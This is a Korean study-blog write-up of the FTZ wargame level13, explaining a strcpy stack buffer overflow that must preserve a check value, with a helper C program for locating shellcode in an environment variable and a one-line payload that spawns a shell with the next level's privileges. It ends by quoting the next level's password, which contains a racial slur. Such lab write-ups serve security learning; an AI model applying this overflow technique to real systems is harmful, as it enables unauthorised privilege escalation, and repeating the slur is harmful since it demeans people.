yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

FTZ level13 풀이 본문

wargame 풀이/FTZ

FTZ level13 풀이

yehey 2020. 9. 27. 20:11
id: level13
pw: have no clue

 

hint를 보았더니 다음과 같은 코드가 나왔다. 

 

이번에도 strcpy를 사용했기 때문에 BOF 취약점이 존재한다.

그런데 (long) i 값이 0x1234567이 아니면  BOF 경고를 띄워주고 프로그램을 강제 종료시킨다.

 

이를 방지하려면 공격을 할 때 i자리에는 0x1234567을 그대로 넣어주어야한다.

 

이제 스택 구조를 알아보기 위해 attackme를 tmp에 복사하고 gdb를 실행시켜주자

 

gdb 설정

main함수를 디스어셈블 했더니 위와 같은 정보를 얻었다.

이를 바탕으로 스택 구조를 그려봤다.

이번에도 환경변수를 생성해서 환경변수에 쉘 코드를 넣고 환경변수의 주소를 return address에 넣어줄 것이다.

하지만 i에는 0x1234567을 넣어주어야 하기 때문에

1036bytes(buf+dummy)는 의미 없는 문자로 채워주고, i에는 0x1234567을 넣어주고 다시 return address까지 12bytes는 의미없는 값, 그리고 마지막 return address에는 환경변수 주소를 넣어준다.

 

i에 값을 넣어줄 때에도 little endian 방식으로 넣어주어야 한다.
i는 long으로 8byte이지만 우리가 넣어주는 0x1234567은 4byte기 때문에 나머지 4byte도 dummy처럼 취급해서 
return address까지 12byte를 채워주어야 한다.

먼저 쉘을 띄우는 환경 변수를 등록해주고

환경 변수 주소를 얻어내는 attack.c 코드를 컴파일 해준다.

//attack.c 코드

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[1]){
        char *env;
        env = getenv("SHELL2");
        printf("address=%p\n",env);

        return 0;
}

 그리고 실행해주면

환경변수 주소를 얻을 수 있다.

 

이제 payload를 작성해보자.

위에서 말했듯이 1036은 의미없는 값, 0x1234567, 12바이트 의미없는 값, 환경변수 주소 를 순서대로 입력해준다.

 

payload: ./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01"+ "A"*12+"\xa5\xfb\xff\xbf"'`

 

sh 쉘이 띄워지고, level14의 권한임을 확인할 수 있다.

 

 

 

level14의 pw: "what that nigga want?"

'wargame 풀이 > FTZ' 카테고리의 다른 글

FTZ level15 풀이  (0) 2020.09.29
FTZ level14 풀이  (0) 2020.09.28
FTZ level12 풀이  (0) 2020.09.25
FTZ level11 풀이  (0) 2020.09.23
FTZ level10 풀이  (0) 2020.09.20
Comments